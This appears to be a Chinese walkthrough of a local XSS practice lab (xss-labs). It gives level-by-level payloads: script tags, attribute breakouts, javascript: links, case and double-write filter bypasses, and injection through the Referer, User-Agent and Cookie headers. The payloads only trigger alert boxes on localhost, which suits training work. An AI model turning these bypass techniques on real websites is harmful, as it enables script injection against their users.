XSS靶场通关详解
前言
这里作者采用phpstudy部署的xss-lab靶场,配置如下:

第一关
进入靶场后寻找页面的传参处,发现url中的name参数传了test给页面,可以在此处进行尝试xss

成功弹窗!

payload:
<script>alert(1)</script>
第二关
可以发现第二关是表单的传参点


尝试失败,意识到第二关开启了拦截
查看网站源码发现被转义

查看源代码发现输出的str被编码了,但是input标签中的str没有被编码,因此我们最终需要把input标签进行闭合

此时我们可以构造payload闭合input标签

payload:
"><script>alert(1)</script>
第三关
使用第二关的payload发现全部被转义

补充一下htmlspecialchars函数的用法,这个函数可以将输入的特殊字符进行html实体编码

查看第三关源码发现这个函数没有加参数,所以只是对双引号和特殊字符进行编码,没有对单引号进行编码

所以可以尝试使用单引号进行闭合,后面的也不能出现标签了(因为标签的<>会被编码)单引号闭合属性之后可以对input标签单独写一个属性进行弹窗。

payload:
' onclick='alert(1)'
第四关
将第三关的payload打上去,查看源码发现前面多了一个双引号

尝试使用”进行闭合,直接弹窗

payload:
"' onclick='alert(1)'
第五关
使用第四关的payload进行尝试,发现事件被加_,此时给input标签增加属性这条路走不通了,可以尝试使用a标签

使用a标签之前需要将input标签进行闭合,可以使用"'>进行闭合,然后增加a标签
点击此处即可弹窗

payload:
"'> <a href='javascript:alert(1)'>
第六关
将第五关的payload输入发现href增加了_

可以尝试进行大写绕过过滤

payload:
"'> <a HREF='javascript:alert(1)'>
第七关
输入第六关的payload,发现其中的href和script都被替换了,可以尝试进行双写进行绕过


payload:
"'> <a hrehreff='javascscriptript:alert(1)'>
第八关
输入第七关的payload,发现将我们输入的内容作为了a标签的href值

尝试javascript:alert(1),发现被编码了,尝试使用

编码后成功弹窗


payload:
javascript:alert(1)
第九关
使用以上payload发现不能用,提示不是合法链接,输入http://baidu.com即可,说明此输入框中要输入http的合法链接
此时可以使用js中的注释符,将合法链接添加在注释中从而造成弹窗

payload:
javascript:alert(1)//http://www.baidu.com将注释符前面的部分进行编码,否则还是不合法的链接,一下为编码后的payload:
javascript:alert(1)//http://www.baidu.com
第十关
尝试刚刚的payload发现不起作用,查看源码发现有三个隐藏的input框

尝试将值传给这三个隐藏的标签,执行以下url
http://127.0.0.1/xss/level10.php?keyword=1&t_link=2&t_history=3&t_sort=4
发现第三个标签的值被修改了

此时可以先将value值进行闭合然后添加onclick进行弹窗,由于后面将它隐藏了,可以在前面进行显示出来

payload:
http://127.0.0.1/xss/level10.php?keyword=1&t_sort='" type='text' onclick='alert(1)'
第十一关
尝试payload发现不行,隐藏标签也不行,但是有一个t_ref标签(联想到了referer)是存放着上一关的payload,可能存在xss

返回上一关进行抓包,在referer中插入payload进行xss或者使用hackbar修改referer

payload:
'" type='text' onclick='alert(1)'
第十二关
跟11关类似,这里的referer改为了user-agent,所以在ua尝试进行xss


payload:
'" type='text' onclick='alert(1)'
第十三关
跟11和12关类似,这里换成了cookie

payload:
user='" type='text' onclick='alert(1)'
第十四关
本关出错了,直接打15关即可
第十五关
本关需要用到一个新的属性
AngularJS ng-include 指令详解-CSDN博客
可以尝试让其包含第一关,这样第一关的xss可以直接用在这里

onmouseover事件是鼠标移动到元素上会触发弹窗
payload:
http://127.0.0.1/xss/level15.php?src='http://127.0.0.1/xss/level1.php?name=<img src=1 onmouseover=alert()>'
第十六关
发现本关将空格进行了编码

尝试使用回车符替换空格进行绕过,回车的url编码是%0a,使用%0a替换%20即可

payload:
<img%0asrc=1%0aonerror=alert(1)>
第十七关
embed标签可以理解为定义了一个区域,可以放图片、视频、音频等内容(现在不太常用此标签了)
思路:闭合前面的src标签然后添加事件属性
payload:
' onmouseover=alert(1)
第十八关
跟上一关一样
第十九关
这两关涉及flash触发的xss漏洞,现在 flash 技术全面停止使用了,所以就不做了
第二十关
这两关涉及flash触发的xss漏洞,现在 flash 技术全面停止使用了,所以就不做了
相关文章:
XSS靶场通关详解
前言 这里作者采用phpstudy部署的xss-lab靶场,配置如下: 第一关 进入靶场后寻找页面的传参处,发现url中的name参数传了test给页面,可以在此处进行尝试xss 成功弹窗! payload: <script>alert(1)<…...
Excel 技巧15 - 在Excel中抠图头像,换背景色(★★)
本文讲了如何在Excel中抠图头像,换背景色。 1,如何在Excel中抠图头像,换背景色 大家都知道在PS中可以很容易抠图头像,换背景色,其实Excel中也可以抠简单的图,换背景色。 ※所用头像图片为百度搜索&#x…...
备忘-humanplus相关的代码解析
-1: numpy必须为1.20.0,否则会报错,版本冲突0.rlvalue-based: 如q-learning(走迷宫),对当前状态下作出的动作进行价值计算,通过贪婪策略穷尽所有可能选择最佳state-action,但是对于连续的动作空间&#x…...
青少年编程与数学 02-008 Pyhon语言编程基础 01课题、语言概要
青少年编程与数学 02-008 Pyhon语言编程基础 01课题、语言概要 一、榜一大哥起源与早期发展版本演进与社区壮大应用领域的拓展编程语言排行榜的常客结语 二、当前排行三、出色表现四、易学易用五、特色显著六、资源丰富初学者资源中高级学习资源在线编程学习平台 课题摘要:本文…...
XSS (XSS)分类
XSS (XSS) 概要 XSS全称为Cross Site Scripting,为了和CSS分开简写为XSS,中文名为跨站脚本。该漏洞发生在用户端,是指在渲染过程中发生了不在预期过程中的JavaScript代码执行。XSS通常被用于获取Cookie、以受攻击者的…...
[Linux]el8安全配置faillock:登录失败达阈值自动锁定账户配置
前言 本篇文章的配置仅使用于el8版本的Linux,目前已在centos8、BCLinux8上验证成功,其他版本系统是否可行还得考查。 el8中管理用户登录失败锁定账户所用的模块是faillock.so,如果想要将配置应用与其他版本的Linux,建议确认Linux…...
最新-CentOS 7安装1 Panel Linux 服务器运维管理面板
CentOS 7安装1 Panel Linux 服务器运维管理面板 一、前言二、环境要求三、在线安装四、离线安装1.点击下面1 Panel官网链接访问下载,如未登录或注册,请登录/注册后下载2.使用将离线安装包上传至目标终端/tem目录下3.进入到/tem目录下解压离线安装包4.执行…...
selenium定位网页元素
1、概述 在使用 Selenium 进行自动化测试时,定位网页元素是核心功能之一。Selenium 提供了多种定位方法,每种方法都有其适用场景和特点。以下是通过 id、linkText、partialLinkText、name、tagName、xpath、className 和 cssSelector 定位元素的…...
積分方程與簡單的泛函分析8.具連續對稱核的非齊次第II類弗雷德霍姆積分算子方程
1)def求解具連續對稱核的非齊次第II類弗雷德霍姆積分算子方程 设 是定义在上的连续对称核函数, 非齐次第二类弗雷德霍姆积分算子方程的形式为: , 其中是未知函数,是给定的连续函数,是参数。 2)def其特徵值是否一致…...
长理算法复习
选择排序 #include<iostream>using namespace std;const int N 1010; int a[N]; int n;void selectSort(){for (int i 0; i < n;i){int pos i;for (int j i 1; j < n;j){if(a[j]<a[pos])pos j;}swap(a[i], a[pos]);} }int main() {cin >> n;for (i…...
机器学习-K近邻算法
文章目录 一. 数据集介绍Iris plants dataset 二. 代码三. k值的选择 一. 数据集介绍 鸢尾花数据集 鸢尾花Iris Dataset数据集是机器学习领域经典数据集,鸢尾花数据集包含了150条鸢尾花信息,每50条取自三个鸢尾花中之一:Versicolour、Setosa…...
使用rsync+inotify简单实现文件实时双机双向同步
使用rsyncinotify简单实现文件实时双机双向同步 实现思路 使用inotify-tools的inotifywait工具监控文件变化,触发后使用rsync做同步。加入系统服务项,实现实时监听,方便管理。 以下配置操作,单向同步,只需在单边部…...
Ubuntu 24.04 LTS开机自启动脚本设置方法
目录 Ubuntu中设置开机自启动脚本步骤1:修改 rc-local.service文件步骤2:创建/etc/rc.local文件步骤3:修改/etc/rc.local的权限步骤4:启动rc-local.service步骤5:查看rc-local.service的服务状态 Ubuntu中设置开机自启…...
谈谈对JavaScript 中的事件冒泡(Event Bubbling)和事件捕获(Event Capturing)的理解
JavaScript 中的事件冒泡(Event Bubbling)和事件捕获(Event Capturing),是浏览器在处理事件时采用的两种机制,它们在事件的传播顺序上有显著区别。这两种机制帮助开发者在事件触发时,能够以不同…...
解读2025年生物医药创新技术:展览会与论坛的重要性
2025生物医药创新技术与应用发展展览会暨论坛,由天津市生物医药行业协会、BIO CHINA生物发酵展组委会携手主办,山东信世会展服务有限公司承办,定于2025年3月3日至5日在济南黄河国际会展中心盛大开幕。展会规模60000平方米、800参展商、35场会…...
【第七天】零基础入门刷题Python-算法篇-数据结构与算法的介绍-一种常见的分治算法(持续更新)
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 前言一、Python数据结构与算法的详细介绍1.Python中的常用的分治算法2. 分治算法3.详细的分治代码1)一种常见的分治算法 总结 前言 提示:这…...
Spring Data JPA 实战:构建高性能数据访问层
1 简介 1.1 Spring Data JPA 概述 1.1.1 什么是 Spring Data JPA? Spring Data JPA 是 Spring Data 项目的一部分,旨在简化对基于 JPA 的数据库访问操作。它通过提供一致的编程模型和接口,使得开发者可以更轻松地与关系型数据库进行交互,同时减少了样板代码的编写。Spri…...
Python JSON:深入解析与高效应用
Python JSON:深入解析与高效应用 引言 JSON(JavaScript Object Notation)是一种轻量级的数据交换格式,易于人阅读和编写,同时也易于机器解析和生成。Python 作为一种广泛使用的编程语言,对 JSON 的支持非常友好。本文将深入探讨 Python 中 JSON 的处理方法,包括基本操…...
【C语言进阶(四)】指针进阶详解(上)
指针进阶 1. 前言 2. 字符指针 2.1 常量字符串</br>2.2 常量字符串存储的位置</br> 3. 数组指针3.1 数组指针的使用</br> 4. 指针数组 4.1 拓展</br> 5. 数组传参与指针作为参数 5.1 一维数组传参</br> 5.2 二维数组传参</br> 5.3 一级指…...
DDD架构实战第五讲总结:将领域模型转化为代码
云架构师系列课程之DDD架构实战第五讲总结:将领域模型转化为代码 一、引言 在前几讲中,我们讨论了领域模型的重要性及其在业务分析中的渐进获得方法。本讲将聚焦于如何将领域模型转化为代码,使得开发人员能够更轻松地实现用户的领域模型。 二、从模型到代码:领域驱动设计…...
第19节 Node.js Express 框架
Express 是一个为Node.js设计的web开发框架,它基于nodejs平台。 Express 简介 Express是一个简洁而灵活的node.js Web应用框架, 提供了一系列强大特性帮助你创建各种Web应用,和丰富的HTTP工具。 使用Express可以快速地搭建一个完整功能的网站。 Expre…...
[2025CVPR]DeepVideo-R1:基于难度感知回归GRPO的视频强化微调框架详解
突破视频大语言模型推理瓶颈,在多个视频基准上实现SOTA性能 一、核心问题与创新亮点 1.1 GRPO在视频任务中的两大挑战 安全措施依赖问题 GRPO使用min和clip函数限制策略更新幅度,导致: 梯度抑制:当新旧策略差异过大时梯度消失收敛困难:策略无法充分优化# 传统GRPO的梯…...
ESP32读取DHT11温湿度数据
芯片:ESP32 环境:Arduino 一、安装DHT11传感器库 红框的库,别安装错了 二、代码 注意,DATA口要连接在D15上 #include "DHT.h" // 包含DHT库#define DHTPIN 15 // 定义DHT11数据引脚连接到ESP32的GPIO15 #define D…...
在四层代理中还原真实客户端ngx_stream_realip_module
一、模块原理与价值 PROXY Protocol 回溯 第三方负载均衡(如 HAProxy、AWS NLB、阿里 SLB)发起上游连接时,将真实客户端 IP/Port 写入 PROXY Protocol v1/v2 头。Stream 层接收到头部后,ngx_stream_realip_module 从中提取原始信息…...
基于Docker Compose部署Java微服务项目
一. 创建根项目 根项目(父项目)主要用于依赖管理 一些需要注意的点: 打包方式需要为 pom<modules>里需要注册子模块不要引入maven的打包插件,否则打包时会出问题 <?xml version"1.0" encoding"UTF-8…...
【HTTP三个基础问题】
面试官您好!HTTP是超文本传输协议,是互联网上客户端和服务器之间传输超文本数据(比如文字、图片、音频、视频等)的核心协议,当前互联网应用最广泛的版本是HTTP1.1,它基于经典的C/S模型,也就是客…...
Swagger和OpenApi的前世今生
Swagger与OpenAPI的关系演进是API标准化进程中的重要篇章,二者共同塑造了现代RESTful API的开发范式。 本期就扒一扒其技术演进的关键节点与核心逻辑: 🔄 一、起源与初创期:Swagger的诞生(2010-2014) 核心…...
Linux --进程控制
本文从以下五个方面来初步认识进程控制: 目录 进程创建 进程终止 进程等待 进程替换 模拟实现一个微型shell 进程创建 在Linux系统中我们可以在一个进程使用系统调用fork()来创建子进程,创建出来的进程就是子进程,原来的进程为父进程。…...
鸿蒙DevEco Studio HarmonyOS 5跑酷小游戏实现指南
1. 项目概述 本跑酷小游戏基于鸿蒙HarmonyOS 5开发,使用DevEco Studio作为开发工具,采用Java语言实现,包含角色控制、障碍物生成和分数计算系统。 2. 项目结构 /src/main/java/com/example/runner/├── MainAbilitySlice.java // 主界…...
MySQL 知识小结(一)
一、my.cnf配置详解 我们知道安装MySQL有两种方式来安装咱们的MySQL数据库,分别是二进制安装编译数据库或者使用三方yum来进行安装,第三方yum的安装相对于二进制压缩包的安装更快捷,但是文件存放起来数据比较冗余,用二进制能够更好管理咱们M…...
